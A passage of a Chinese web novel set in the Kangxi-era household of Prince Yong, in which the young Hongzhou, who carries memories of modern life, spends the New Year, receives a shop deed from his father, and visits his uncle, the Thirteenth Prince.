“如今都几岁了?” “回汗阿玛的话,”四爷恭敬道,“这翻过年去便五岁了。” 弘历的生辰在秋天,而弘昼的生辰则在冬天。可一番过年去他们通通要加上一岁来算,实则现在刚过了四岁的生辰还不久。 “都已经五岁了,”康熙眼中露出了一点感慨之色,随即道,“可开始启蒙了?” “已经请了先生,不过他们毕竟年岁还小,如今虽说是跟着先生学,但也学不进去些什么。” 康熙看着四爷调笑道:“你行事素来严厉,但教育孩子可不能心急。他们岁数也还小,不必如此心急。倒是你们家老三,如今瞧着年纪也大起来了,这才是该教教的。” 这话让四爷的心里一绷,他不知道汗阿玛这话是随口一说还是意有所指。想起那日查到的那些事,四爷心中对这个三儿子更加厌恶了些。偏偏这些事即便查到了他也不能直接掀出来责罚,只能背地里悄悄地教训。 但既然汗阿玛这话在这里说了,四爷在心中已经打定主意等回去后将弘时再查查。不知是不是有什么自己平日里松过去了的事情,这回都要查清楚。 康熙似乎只是随口一说,这句话落了之后便又和四爷说了两句别的,便让他下去了。 但这话却落在了四爷的心上,他决意回去之后对自己的三儿子详查一番。若是误会便罢了,倘若弘时当真在外面做了些什么,他走到今日这个位置是耗费了千辛万苦的,绝不能因为一个逆子的拎不清而被扯了后腿。 本来弘昼以为阿玛对自己和四哥的礼仪要求得这样严格,可能是皇座上的皇玛法要见他们。但没想到直到宴会结束,康熙都并未叫他们上去瞧瞧。 不过这也正常,康熙的孙子可能都快有百来个了。他们在其中并不算特殊,不被另眼相待也正常。 宴会结束后,弘昼在宫门口见到了福晋。 原本福晋进去的时候,脸上带着端庄的笑意,妆容和穿着都是严格按照和硕亲王福晋的品级来的。现在出来,虽说妆容丝毫不乱,但眼底的疲惫能略微看出一点她在永寿宫这几个时辰并不算好过。 登上了马车,弘时照旧不与他们说话,只闭上了眼睛开始闭目养神。他在宴会上和几位堂哥又叙旧了一会儿,这段日子阿玛都不怎么允他出门了,他已经许久未和堂哥们一起叙话闲谈了。 不过等过年,自己到时候必然能抽出时间来与几位堂兄好好叙叙旧。虽说不知道阿玛这几日里为什么对他横眉冷对的,但想来这段日子过去便不会再这样了。 回到府中,弘昼已经困得有些睁不开眼了。平日里这个时候早就已经睡着了得有两三个时辰了,再过两个时辰天都要亮了,现在却才刚刚从宫中出来。 今日除夕,这样大的日子即便四爷再宠年侧福晋也不好从宫里出来后就撇下福晋直奔西侧院。他今日跟着福晋去了正院,但瞧见福晋脸上端庄的笑意,眼底带着疲惫和不耐便能隐约瞧出,这位福晋并不是那么欢迎四爷,但她既不能说也不能表现出来。 走到自己院子的时候,弘昼几乎要就地睡过去了。但是不行,他还要将身上这身有些重的衣裳脱下来,随后洗漱好了才回到了柔软温暖的床上。 屋子里早早就点上了炭盆,也燃了香炉,里头飘着一股柔和的暖香。被褥早早就被人用汤婆子暖过了,弘昼躺上去不仅不冷,还十分的暖和,这一下子就进入了梦乡。 第二日,弘昼是被郑嬷嬷叫起来的。 过年这几日他虽然不必去听先生的课了,但还是不能睡懒觉的。今日四爷和福晋早早地就起床进宫了,今日皇上要去奉先殿祭祖,四爷和福晋身为儿子儿媳自然也不能缺席。但他这样的小孩子却没有一定要去的规矩,四爷便没有带着他们。 起床后弘昼懵了一瞬间,慢慢地揉了揉自己的眼睛,过了好一阵子才开始清醒。 “阿哥快起来了,”郑嬷嬷上手要给他穿衣裳,笑道,“今儿虽说不必进宫,但格格一早就在等着您了,咱们何不快些去泗水院同格格一起过年呢?” 四爷他们祭祖只是在白日里,晚上还是要回来的。是以今天晚上要在正院参加家宴,到时候府中所有的大小主子都要去,弘昼若是现在起床了还能去泗水院中待一日。 说起这个弘昼才勉强提起精神,被郑嬷嬷摆弄着洗漱了穿好了新衣。新年的这几日里额娘和嫡额娘给他准备了不少的新衣裳,从初一换到十五都没问题。 将自己打理好了之后,弘昼便往后院走去。 今日耿执羽早早地就起来了,她知道今日弘昼是不必跟着进宫,便等着他过来一起过年了。 来到泗水院后,弘昼照例被额娘上上下下看了一遍。一边看还一边感叹着他又长大了点,弘昼在心里悄悄撇了撇嘴,上回见额娘也就是六七天前,这才几天能长多少呢。 不过他不敢将心中的想法说出来,毕竟现在额娘看着心情不错又很是慈爱。但若自己将心里话说出来了,额娘也可以在大过年的给他一点小小的教训。 这天弘昼都陪在额娘身边,跟着她一起看小丫鬟们包饺子,又一起尝了尝。直到傍晚的时候正院来人唤他们前去,说是已经摆好了宴席,四爷和福晋也都从宫中回来了。 正院很是热闹,福晋年前就叫人请来的戏班子早早地就搭好了台子。去的时候正在唱些吉祥热闹的戏,锣鼓响动的时候年味十足。 看了几折的戏,又听了女先儿的说书,弘昼今日过得很是愉悦。特别是最后收到阿玛嫡额娘的压岁钱的时候,内心的喜悦到达的巅峰。 额娘的压岁钱是在泗水院的时候就已经给了,是整整一百两的银子。而阿玛就更大方些,给了五十两的黄金,嫡额娘则是给了黄金十两。 这些黄金和银子弘昼是抱不动的,但他看着一旁的侍女端着属于他的钱脸上笑开了花。虽然不知道这些黄金和白银能买多少东西,但他还是很难掩饰住自己的喜悦。即便从来也没有什么需要花钱的地方,但谁会嫌钱多呢? 四爷抬眸的时候见到了弘昼笑得乐开了花的模样,不免好笑。这小子知道金银能干什么吗就这么高兴? 在四爷心中,这两个年纪小些的孩子连街上都不曾去逛过。在这府中一应东西都是备齐了的,没有什么需要花钱的地方,可能会对钱没有什么概念。如今弘昼这乐开了花的模样,可能是因着收到了东西。 除夕要守岁,要过了子时才能睡觉,但大年初一就没有这个规矩了。用过了膳后,又看了两折戏后,弘昼便和四哥一起打着哈欠被嬷嬷带了回去,他们这些小孩子是可以早些回去睡觉的。 昨日回来得晚,但今日却起得早,弘昼本来就没有睡好此时早早就犯困了。如今回了自己的院子后,便在洗漱过后急匆匆往床上扑,毕竟嬷嬷方才还对他说了,明日依旧是不能晚起的。 累极了的弘昼在扑上。床后没多久就睡了过去,一夜无梦,等他再次睁开眼天色已经大亮了。 此时郑嬷嬷正好要叫他起床,见他睁开了眼睛笑道:“阿哥快起来吧,今儿郡主要回来呢。” 第44章 额驸 第44章 怀恪郡主前年下嫁给了纳喇星德,这几年来也算夫妻和睦。因为嫁在京中,所以时常能回雍亲王府瞧瞧。但弘昼和这位姐姐算不上熟,毕竟他才一两岁的时候还养在额娘身边,而这位姐姐则已经要出嫁了,自然没有什么交集。 但毕竟是姐姐,而且还是过年回来,弘昼挣扎地起了床。昨日他睡得还算不错,现在起来精神头也还可以,郑嬷嬷一边给他穿衣裳一边说着吉利话。这过年最是讲究意头的,说些吉利好听的,新的一年最好也能如吉利话一样顺顺利利。 弘昼今日被穿上了一身大红色的衣裳,连头顶的帽子也带了点红色。他现在不过五头身,冬日里穿得又厚,远远看过去就好像一颗红通通的球一般,好笑又可爱。 新年要先过去给阿玛和嫡额娘拜年,弘昼便拉着四哥一起先去给嫡额娘拜年。阿玛可以等给嫡额娘拜年后再给他拜年,毕竟他们就在前院离阿玛要近些。 一路上的侍女小厮们脸上都带着笑,过年这样的好日子主家也会宽松些。他们不仅能领到赏赐的银子,还吃上嫡福晋开口吩咐的席面,况且过年的时候不论伺候哪位主子都不会轻易撂脸子,她们做完自己手头上的活计后悄悄去和小姐妹一起剪纸绣花,管事嬷嬷们也不会多管的。 来到正院,弘昼和弘历刚过来就被福晋院中的桂嬷嬷迎了进来。 “两位阿哥过年吉祥,”桂嬷嬷嘴中说着吉利话,脸上笑意温和,“福晋已经在等着两位阿哥了,快请进来,这外头这么冷怎么没人给两位阿哥带个汤婆子暖暖手?” “我嫌拿着累赘,便没带。”弘昼笑嘻嘻回了一句。 桂嬷嬷无奈摇头:“这冬日里还是莫要这般嫌麻烦便将这些东西丢到一边去,瞧着外头雪都还没化,阿哥们还是要多注意些。” 一边说着,便进了正厅。 福晋今日不必进宫也不用出门,脸上的妆容比之前几日要家常些,但比平时还是要隆重些。她一身绛红色的旗装,头上戴着一只栩栩如生的凤钗,一耳三钳上带着的是颗颗饱满晶莹的珍珠。这身打扮端庄大气极了,也让福晋浑身多了分凛然之气。 瞧见弘昼和弘历进来了,福晋脸上露出了一点笑意:“来,两个乖孩子给嫡额娘瞧瞧。” 这两个孩子可比弘时要讨喜多了,平日里瞧见自己也是规规矩矩的,从不惹是生非,福晋对这两个孩子的感官不错。 弘昼没有急着过去,而是笑道:“今日过来是给嫡额娘拜年的,要先拜了年才行。” “好。”福晋应了一声,示意了一下一旁站着的温术。 温术在福晋身前放下了两张垫子,弘昼和弘历就跪在垫子上对着福晋磕了三个头,嘴中说着吉祥话。 “祝嫡额娘新年事事顺意,岁岁安澜。” “祝嫡额娘福寿安康,四时喜庆。” “好好好,都是好孩子,快,将他们兄弟俩扶起来。”福晋脸上笑意更甚,将早先预备好的年礼给了他们。 虽说昨日已经给了压岁钱,但这年礼也是不能省的。况且在福晋的心中,给这两个小的年礼她还算是心甘情愿的。 福晋预备的东西是两块玉佩,一块莹润白皙,几乎在里面看不到一丝的杂色。而另一块则是黑如漆色,但触手温润,一看就知道是好东西。 这两块东西摆在眼前,弘昼看着那块墨玉有些心动。他手里头的玉不算少,玉佩玉扳指或者扇坠之类的小东西他不缺,但这些玉大多数是白玉或者青玉,还没有这样奇特的墨玉。 弘历微微一瞥就看出了弘昼的心动,接过两块玉,将墨色的那块递给了他。 拿到了想要的东西,弘昼嘿嘿笑了笑,对着四哥露出了一个讨好地笑,又对着福晋说了几句吉祥话,谢过年礼。 给福晋拜完年后,弘昼和弘历便要去前院给阿玛拜年了。 本来是该大年初一就给他们拜年的,但无奈他们大年初一的时候一大早就入宫了,拜年只能拖到初二。至于亲生额娘,早在昨日就已经拜过了。 但还没提出告辞,就听见外面有人进来禀报:“福晋,郡主来了。” 怀恪回来拜年,也要先过来见过福晋了才能去李侧福晋的院子。所以她一下马车便往福晋的正院前来,至于额驸则去了前院拜见四爷。 “快请进来。”福晋脸上的笑容更端庄了些。 在这里碰见了出嫁的姐姐便不好还没打招呼便抬腿走人了,弘昼便停住了脚步,和四哥对视了一眼准备和姐姐打过招呼再走。 不多时,外头走进来了一位女子。她双十年华,五官和李侧福晋有四五分的相似,嘴角带着一抹清浅的笑意。身上穿着宝蓝色的衣裙,走路进来的时候步伐轻快似乎心情不错。 “给嫡额娘请安。”怀恪进来后先是对着福晋请安,被叫起后才看向弘昼和弘历笑道,“难得在这里碰见了四弟五弟,我这刚巧给你们带着年礼,既然你们在这里便带回去罢,省得让嬷嬷们再跑一趟。” “见过大姐姐,祝大姐姐新年顺遂。”弘昼并不推辞,笑着给怀恪也拜了个年便同四哥一起往外走了。 怀恪坐在福晋下首,看着两位弟弟出去的背影,眉眼间掠过了一缕深思。眼看着四弟五弟都已经渐渐大了,但三弟却还是这般扶不上墙,待会见了三弟一定要好好劝劝他多上进些才是。 毕竟这几年间眼看着额娘也失宠了,倘若三弟自己不争气也没有人从旁说项了。毕竟额娘说不上话,自己这个女儿更不可能在这些方面插言。 福晋留怀恪郡主坐了一会儿,又给了年礼便打走了。她和怀恪之间面子情更多些,毕竟怀恪出生后李氏看得紧,她平素见到的日子便不多,自然也生不出什么感情。 不过她自认嫡母该做的她做得一点不差,怀恪不论是从前在府中的吃穿用度,还是出嫁时的十里红妆她都一点没有亏待过。 从正院出来后,怀恪便去了额娘的院子。 李侧福晋的鬓边已经开始有了一两根的白发,不过晨起梳头的时候她总会愤愤地将这两根白发拔去,只要哪一日她又瞧见了白发总免不了要生好大一场气。 她见怀恪回来,面上这才露出了几分高兴之色。 “额娘,”怀恪见自家额娘笑道,“女儿给额娘请安,愿额娘风光胜旧岁序更新。” 李侧福晋将女儿拉起来,抱怨道:“你们家中就这样忙?可已经有两三月不见你回来了,你三弟也不爱过来与我说话,我整日里在这闷得不行。” 从前女儿还在家中的时候,李侧福晋还算受宠,四爷不时会过来。加上闲来无事和女儿一起谈笑绣花,又或者和弘时一起说说话,日子过得自然不算无聊。 可如今四爷不大来了,弘时也是不怎么爱过来请安,每回过来了待不了多久便要走了。而李侧福晋又不愿与后院的侍妾格格们相交,于是这日子也变得无聊漫长了起来。 “自入了十月,家中事情是一件接一件来。”怀恪无奈,“若非今日是过年,怕是还不得闲,等过了正月也还好忙上一两月呢。” “你们那有什么好忙的?”李侧福晋狐疑,“不会是你婆婆给你脸子瞧吧?若当真如此你可不能受欺负,定要回来叫额娘知晓,额娘给你出主意。对了,让你阿玛……” 这话还未说完,就被怀恪打断了:“额娘怎么想到这里去了,有阿玛在朝堂上,谁又敢欺负我?不过是额驸他们那边盛京老家的事情,虽说要忙碌些,但没有人敢给女儿脸色看。” 李侧福晋的面色才好转了些:“若是被欺负了定不能忍着,你阿玛可是雍亲王。这皇子一辈中封了亲王的也不过就三个,你阿玛在朝堂上可是响当当的人物,女儿自然不能受气。” 怀恪好笑,温言安抚了额娘几句才问道:“怎么不见三弟?” “你三弟,哼,也不知是去哪了。”李氏一肚子的牢骚,“昨儿也只是来我这里点了个卯便走了,今日更是直接没过来,他明知道你回来了也不来见过姐姐。” “或是去前院阿玛那里去了。”见额娘似乎又生气了,怀恪连忙安抚,“额娘切莫生气了。” “我这哪是生气。”李侧福晋给梅枝使了个眼色,身旁伺候的人都退了下去,包括怀恪身边的人,“你哪里知道,前些日子不知道你三弟做了什么惹了你阿玛的不悦,听闻将他叱骂了一通,也不叫他出门了。既不能出门,若是能好好跟着先生念书也好,来我这里同我说会儿话也好,但偏偏自己待在院中整日里不知道做什么。” “被阿玛斥责了?”怀恪皱了皱眉,“额娘还是要教三弟平日里最好懂事上进些才是,他如今也不小了,眼看着过两年便要议亲娶福晋了,可不能再这样行事无状。” 其实怀恪私心里是有些瞧不上三弟的,不论是念书还是骑射她都自认要比三弟强些。所以她有时候想不明白,念书这样简单的事情,为什么三弟会经常被先生和阿玛训斥呢? “你以为我不说?”李侧福晋哼道,“开始时还听上两句,这些日子一开始说便不耐了。弘时来请安的次数本就不多,我若多说几句他不高兴了便走了,这让我如何还能说?” 这些话听得怀恪眉头越发的紧蹙,已经打算好了过段日子定要找三弟好好谈谈。如今不是从前了,四弟五弟眼看着越长越大了,倘若他再不争气,日后阿玛难免更看重四弟和五弟。况且听闻,四弟和五弟念书都还很不错。 弘昼还有弘历从嫡额娘的正院离开后,便去了前院打算给阿玛拜年。一切顺利的话,给阿玛拜完年了就能去额娘那里待着了,只用等到用膳的时候来前院便是。 刚到四爷的书房,就见外面立了几个不认识的人。这附近的小厮弘昼基本都已经眼熟了,现在看到不认识的人便明白里头有旁人,再一想刚刚碰见的大姐姐,便知道里头是谁了。 不过即便里头有人,拜年也还是要继续的,弘昼往里递了话后不久,苏培盛就从里头出来了。 “两位阿哥新年万安。”苏培盛带着喜庆的笑,“爷叫两位阿哥进去了,对了,里头还有纳兰公子。” 纳兰公子,想来就是大姐夫了。 第45章 房契 第45章 跟着苏培盛进了书房,四爷正坐在最上首,下方左侧坐着一位年轻男子。那男子莫约二十上下,容貌清俊,身姿挺拔但略有些瘦弱,带着一股书卷气。 “儿子给阿玛请安,愿阿玛新年瑞气盈门,百福具臻。”弘历进来便低头请安。 “儿子给阿玛请安,愿阿玛新年吉祥,诸事顺遂。”弘昼也笑嘻嘻跟着说道。 听见两个儿子的请安,四爷的脸色略柔和了些。这几日里一直进宫累的不只有福晋,还有他自己。福晋在永和宫坐冷板凳自然不算好受,可他在前面和那几位兄弟唇枪舌战也不算好过。 如今听见两个年岁还小的孩子这稚嫩的祝福,心情不由松快了些。 四爷挥了挥手,苏培盛笑吟吟地给两位小阿哥一人一个荷包。 手中拿着荷包,弘昼的眼神中带了点好奇。额娘给的年礼是一个制作精巧的玩具,嫡额娘的是一块玉,但阿玛给的这个拿起来很轻,也不知道里头装了什么。 若是平常弘昼就直接打开看看了,但现在屋中还有一位不算熟悉的人,他也不好当着人家的面就拆东西,便打消了这个念头。想着等会儿回自己院子的时候一定要看看,这可是他能自己来拜年后头一回来,阿玛应该不会小气才是。 “这是你们大姐夫。”四爷招了招手将他们叫到身前来。 纳兰星德看着两位雍亲王府的小阿哥,勾起了一个笑:“想来这就是四阿哥和五阿哥了,平素在家的时候就听福晋提过,说娘家有三位弟弟。三弟倒是从前见过,只是四弟和五弟从前年纪太小了还不曾得见。” “见过大姐夫。” 弘昼和弘历抱拳行了一礼,大姐夫既非长辈便只用行平辈礼。 “就是他们,你们前年成婚的时候他们尚在襁褓之中。”四爷笑了笑,“去岁过年的时候怀恪又病了,你们便没回来,如今才瞧见。弘历弘昼,你们大姐夫念书是最好不过的了,若是平日有什么不解的也可以问问他。” 纳兰星德的堂叔便是从前在康熙身侧当过御前侍卫的纳兰容若,这纳兰容若的才名在京城之中算得上是响当当的,可惜英年早逝。现在提起纳兰家,不少人还是会觉得这家的子孙都是会念书的。 而这纳兰星德也是真的会念书,学问曾经被康熙夸过。四爷从前选女婿的时候,这一点也占了一小部分的原因。 纳兰星德谦虚道:“哪里哪里,不过都是些虚名罢了。两位弟弟如今念书我尚能说上一二,再等几年只怕是我也不懂了。” 四爷又笑了两声,嘱咐了弘历和弘昼几句后便叫他们下去了。虽说家中来了姐夫这样的亲戚,同辈的兄弟是该来陪客的,但无奈弘昼和弘历年纪实在太小了若是让他们在这里,也不知是他们陪客还是客人陪他们了。 四爷和福晋都拜完年后,便能直接去额娘的院中了。泗水院和玉池院离得不远,弘昼和弘历便也一起走了过去。 “也不知咱们什么时候能继续听先生讲课。”刚走到后院,弘昼就听到了身旁四哥叹了口气后说道。 弘昼猛然扭头,眼神里带了点震惊:“四哥你这么想先生继续给咱们讲课?” 虽说现在先生讲课的确很有意思,但弘昼还是头一回见到这样想上学的孩子。特别是这个孩子如今才四岁,年纪这么小就这么好学,多半是个卷王。 “是啊,”弘历不知道弘昼心中在想什么,点了点头抱怨道,“这过年已经过了十来日了,先生怎么还不回来了。” 弘历和弘昼的先生今年预备着要回一趟老家祭祖,便在腊月十几的时候就告了假踏上了回家的归途。 四爷原本是想要在腊月二十五的时候再让两个儿子休沐的,但既然先生告了假,这其中又只是相差十日加上这两个孩子年岁小,如今学的东西也不算多重要,四爷便直接让他们这几日索性就放假了。 弘昼对此还是挺高兴的,虽然先生讲课挺好玩的,但应该没有任何一个小孩子会不喜欢放假。而且这一放二十来天,几乎相当于现代的寒假了。但如今,不喜欢放假的小孩子就出现在了自己的身边。这要是放到现代,绝对是家长最喜欢的小孩。 “咱们这如今才玩了十几日吧。”弘昼想要替自己的寒假申冤,“也没有多久啊。” 弘历有些不赞同:“我们前不久才听先生讲了学如逆水行舟,不进则退。况且日后咱们是要去内务府考封的,若是不好好学习日后连个三等辅国将军都考不到,日后只能做个闲散宗室岂不是很丢脸?” 这话让弘昼原本为寒假申冤的心默默散去了点,对哦,自己以后还要去内务府考封。 从前弘昼以为考封相当于自己从前的高考,但后来才慢慢明白。考封是宗室子弟去内务府考爵位,根据阿玛和额娘的品级来拟定能考的爵位。一共要考三项,若是三项都是优才能得到封爵,而有其中一项是平就要降等,若两项都平则降两等,若是三项都劣就算考封失败了。 这考封就相当于现代的考公了,而且是直接考上就发粮饷但不用干活。日后若是能在朝廷上办差事为官,那封爵的粮饷也是照发的,但若没有这个运气在朝堂当官,封爵的粮饷至少能让他在京城能过得下去。 见弘昼不说话了,弘历才说道:“我额娘说过,咱们现在年纪还小,只要好好跟着先生念书,日后就一定能考上三个优的。” 这话一出,弘昼立刻就想到自己现在才四岁。考封也是二十岁才要经历的,现在四岁小孩子过个年很不必惦记这个,立刻便又高兴了起来。 到了泗水院,果然见额娘已经穿戴好了高高兴兴等着他呢。这过年最开心的除了弘昼之外便只有耿执羽了,平日里五六天才能见上一两回,但这过年了日日都能过来,还一待就是一天。 在泗水院中待到了一天,直到用晚膳的时辰才去了正院。而怀恪郡主和额驸早已经走了,他们用过午膳待了一会儿便离去了,毕竟已经成婚了过年有不少的事情都是需要他们自己去打理的。 跟着四哥一起回到自己住的院子后,弘昼才想起了早晨去给阿玛拜年的时候给的荷包。当时是很好奇的,可跟着阿玛还有大姐夫说了两句话之后就将这件事抛到了脑后,在泗水院中的时候也没想起来。 现在想起来了便将荷包拿了出来,这荷包是宝蓝色的,绣工很是精致一看就是府中绣娘中的翘楚所绣制的。等弘昼将荷包打开,只看到了里面放着一张叠得工工整整的纸,拿出来瞧了瞧。 瞧了半天弘昼才略微张大了嘴,按照这上面写的,如果他没有猜错的话这应该是房契吧。 “嬷嬷,嬷嬷你快来。”弘昼有些拿不准,张嘴便喊郑嬷嬷。 郑嬷嬷此时正在外间,听见这话忙不迭地走了进来问道:“这是怎么了?” “嬷嬷你快来瞧这是什么?”弘昼眼睛亮亮的,挥了挥自己手上的东西问道。 郑嬷嬷接过东西一瞧,原本淡定的神色变得诧异:“阿哥这是哪来的?这是临安街上的一间商铺的房契,临安街那可是闹市啊。” “这是我今儿去给阿玛拜年,阿玛给的东西。”弘昼老实答道。 “那这可得好好收起来。”郑嬷嬷将东西还给弘昼道,“既是爷给的年礼,那就好好放着吧。” 四爷给了弘昼一个商铺的房契,实际上就是把这个商铺给了弘昼。但毕竟弘昼的年纪还小,一应事务还是交给府中的管家打理,等他大了才会将这些彻底交给他。 这个商铺的价值不菲,四爷这次出手算得上是极为大方。弘昼也没有想到,自己现在才四岁,就已经晋升为了有铺子一族了,虽然这个铺子暂时不会交到自己手上,但终归是自己的。 等第二日弘昼见到四哥的时候也问了一嘴,得知阿玛给四哥的果然也是一个铺子。这两兄弟的年礼是一样的,分不出轻重来。 若是自己能出府,弘昼肯定是要去看看自己的铺子长什么样子的。无奈他现在还没有获得自己出府的权利,只能惦记了几天后作罢,将这个房契放到了自己平日里最宝贝的匣子里好好收着,只等着自己后面能自己出府的时候再去看看。 很快的就到了十五,而十五一过这个年就算完了。弘昼和弘历的先生也从老家赶了回来开始继续教书,这新年过去他们也从一日里听一个时辰先生念书变成了一日听一个半时辰。 这个改动弘昼和弘历适应得还算不错,毕竟先生讲课实在不错。况且听嬷嬷们说,现在三哥每日里是要上三个时辰的课的,现在他们只用上三哥的一半,日后才慢慢增加*起来。 天气开始渐渐转暖,冬日里那些一上身就显得圆滚滚的衣裳被换了下来妥帖地收好了。身上的衣裳逐渐换成了较为轻薄的春衫,弘昼穿上春衫的时候长长地吐了一口气,终于不是穿上后感觉走路都是在滚起来的冬衣了。 就在刚换上春衫没几日,四爷在他们上午听完先生的讲课后将他们叫到了书房,将一张纸递给了他们。 “弘暾邀你们去你们十三叔府邸上玩,这是帖子。”四爷抿了一口茶后说道。 第46章 来写大字 第46章 这帖子上的笔迹稚嫩,一笔一划横平竖直很努力地在写。看得出是刚学书写的人写的,甚至有些地方还有小小的墨点。 弘昼和弘历现在还没有开始学写字,他们人小力弱,而写字又需要手腕悬空写起来很是依靠手部力量。所以他们现在学着认字和跟着先生念书,但却并未开始写字。 “去十三叔府上玩吗?”弘昼的眼睛一亮,“只是我和四哥去吗,阿玛你去不去?” 四爷似笑非笑地看着弘昼:“一听到玩就什么都抛到脑后了,看来你们每日里念书的时辰还是太少了。” 看见弘昼惊恐地瞪大了眼睛后,四爷才道:“自是要去的,这几日念书不可懈怠,倘若叫我知晓了你们因着这个帖子便懈怠了,那日后弘暾的帖子便到不了你们眼前了。” 虽说如今这两个小的念书还不算正经在念,但四爷已经想好了必要让他们习惯念书时要心无旁骛,只有养成了好习惯日后才能在日后认真。他现在有些觉得弘时便是小时候的习惯没有养好,才变成了如今这样只要一提到别的便兴奋,但提到念书便蔫儿了。 这帖子上写了邀请的日子,正好是在后日。弘昼已经开始幻想后日自己出府后的快乐时光了,虽说去十三叔的府上和自己这里应该区别不大。但就算是当成公园去逛逛也不错呀,换换心情也要。 相比而言,弘历就没有那么兴奋了。他对于弘暾这个堂兄的观感还不错,那两回都玩得挺好的,但他还是理解不了弟弟的兴奋。 见两个小的都笑成了一团,四爷便考校了他们两句学问,见他们对答如流对满意地点了点头放他们离去。他将这两个的念书生涯已经打算好了,明年开始学写字,到时候必要让先生看着狠狠地练。人的字便是另一张脸,他本人就因为字写得好在多处受到夸赞。 倘若字不好,不成形或是没有风骨的话,日后这写帖子文书还有折子的时候便不免让人轻看一眼。其中最典型的便是自己的好八弟了,那一手字从幼时起便练不好,如今瞧见他写的帖子依旧是有其形而无其神,真是招笑。 不论是从前的弘晖还是如今的弘时字都写得不错,这两个小的也不能懈怠。 再过两年便该学骑射了,满人马背上拿天下,骑射这样的功夫必然不能丢。加之四爷心中还有些别的想法,如今汗阿玛的年岁逐渐上去了,他现在干的这件事若是能成功了,那对孩子们的要求只会更高。 若是失败了,到时候他便容易被圈禁。届时孩子们自己的前程便要靠自己谋划了,考封是最稳妥的事了,毕竟不论是老八还是老十四上位都必然不会看重他的孩子。 这样想着,四爷眸色深了点。心中觉得对这几个孩子很该再严肃些,特别是弘时,如今瞧着越发不成样子了。 对于阿玛心中的想法,弘昼和弘历自然是无从得知的。他们开始在自己的小匣子里挑选东西,既然弘暾正经下了帖子,那他们便也该很正经地带点礼物前去。 弘昼在自己的匣子中左挑右选,终于拿出了一个玉雕刻成的小羊。这羊被雕刻得憨态可掬,颇有点现代的卡通风,瞧着极为可爱。 虽说小男孩应当都是比较喜欢威风些的猛兽,但这种可爱风实在少见,说不定弘暾会喜欢呢? 而弘历挑出来的礼物就要中规中矩很多了,他选的是一把上面画着猛虎的折扇。这个折扇是前几日送到他手中的,他还记得弘暾之前说过喜欢老虎,送这个他一定会开心的。 将东西都挑好了之后,弘昼便开始期待起了后日。甚至于这两日念书更加努力了些,生怕阿玛因为自己这几日不努力便不让去了,这出去溜一圈的机会实在是少。 两天一闪而过,这日弘昼在先生拿着书走出学堂的一刻便拉着四哥起身:“快走快走,咱们现在就去找阿玛。” 弘历好笑:“阿玛现在说不定还没有回来呢。” “没有回来咱们就去阿玛的书房等,”弘昼哼哼了两声,“反正要在阿玛回来的第一时间拉着他走。” 这话一落,弘昼便带着弘历往四爷的书房而去。 四爷人不在的时候,伺候的人不敢随意让这两位小爷进书房,毕竟他们年纪不大若是在书房里捣乱弄坏了书或者奏折,四爷必然是重罚这两位,但也不会放过将他们放进去的下人。便引着他们去了隔壁的小厅,上了两盏的蜜水和两碟子点心,希望这两位能安静些在这等着。 弘昼喝了两口蜜水,平日里最喜欢的点心现在也吃不下去了,眼巴巴地看着外面。他素日并没有关注过阿玛什么时候回来,现在只能无聊地待在这里等呀等。 等了莫约半个时辰,下人才过来叫人:“两位阿哥,爷回来了,叫你们去呢。” 听到这话,弘昼眼睛一亮,收起了百无聊赖的等待姿势。起身拉着四哥就往四爷的书房而去,心中满是对要出去玩的喜悦。 四爷正在换衣裳,他刚刚回来的时候穿的是朝服,现在回府了等会儿要去十三弟那里倒是不必穿这身,只需换一身出门穿的衣裳便是了。 弘昼进来后眼巴巴跟在四爷身后,看着他换了朝服才开口:“阿玛,咱们现在能去十三叔那里了吧。” “你跟弘暾就这样要好?”四爷好笑,慢条斯理地整理着书桌前的折子。 眨巴了两下眼睛之后,弘昼才说道:“是啊是啊,我和弘暾哥哥关系可好了。阿玛这些东西咱们就等回来之后再弄吧,去吧去吧~” 这拖长的尾音让弘昼自己都有点受不了,他原本是坚持虽然变成了小孩子但还是不愿撒娇的。但现在对于出去放风的渴望战胜了一切,自然而然地对着四爷开始撒娇。 “行了行了,”四爷瞥了他一眼,对苏培盛道,“去命人套车。” “早就已经预备好了。”苏培盛笑道。 四爷微微点了点头:“那便走吧。” 听到这话,弘昼大喜过望,拉着四哥就跟上了阿玛的步伐。 可谁知,刚出四爷的院子,便碰上了弘时。 弘昼撇了撇嘴后才问好,而弘历的问好就正常多了,至少表面上是如此的。 这个时候弘时本来是该跟着先生念书的,这一下碰见便让四爷皱了眉。 “你怎么在这?不是该跟着柳先生念书吗?”四爷的声音很有些冷淡,看着弘时的目光有些不善。 弘时脸上慌乱了一瞬,随即看到了跟在四爷身后的弘昼和弘历,原本的慌乱就变成了不满,但很快就掩饰了。 “儿子……”弘时有些支支吾吾道,“儿子有些不适,想回院子去叫人去请大夫来看看的。” 实则是他今日答应了福成和萨拉的邀约,想跟着弘晟堂哥去长长见识来着,便在柳先生那里告了假。 四爷的目光如炬,扫过了弘时面色红润的脸庞,声音冷淡:“那便回院子好好歇息罢,苏培盛叫人去找大夫给三阿哥瞧瞧,等我回府后把脉案拿过来我看看。” 这话一出,弘时脸色微变。他身子好得很,若是将脉案拿去给阿玛看了,十成十的要被罚,但他现在又说不出什么推辞之语,只能低下头去回道。 “多谢阿玛关心。” 说完这话,四爷便带着弘昼和弘历走了。 弘时看着他们的背影有些愤愤,阿玛真是越发的偏心这两个小的了。竟然在这时候就带他们出门,自己幼时可没有这个待遇。长大了些后阿玛才带着自己出门交际的,真不知道这两个给阿玛吃了什么迷魂汤。 今日的心情实在愉快,即便碰上了弘时也不能让弘昼的心情变坏。这回去十三爷的府上四爷并没有单独坐一辆车,而是和弘昼弘历坐在了一起。 看着弘昼掀车帘的样子,四爷皱了皱眉:“坐好了,在马车上不比在家中,倘若车夫遇到路上颠簸,你这模样容易受伤。” 听到阿玛的话,弘昼乖乖地应了一声,随即就放下了帘子。不让看也没事,反正上回出去踏青的时候已经看过了。现在他最期待的就是等会见到弘暾,这也算是自己除了四哥外的第一个小伙伴了。 四爷的府邸离十三爷的并不算远,弘昼在马车上待着的时间也不算长,很快就到了。 虽然到了,但不能直接去找弘暾。按照规矩来说,要先去拜见府邸的主人,特别是这个主人是弘昼和弘历的长辈,于是便跟着四爷来了十三爷的书房。 “四哥,”十三爷听到下人的禀报便往外迎了过来,见到四爷脸上露出了一个爽朗的笑意,“还有弘历和弘昼都来了。” “给十三叔请安。” 弘昼老老实实给十三叔行了个礼,随后用期待的眼神看着十三爷。 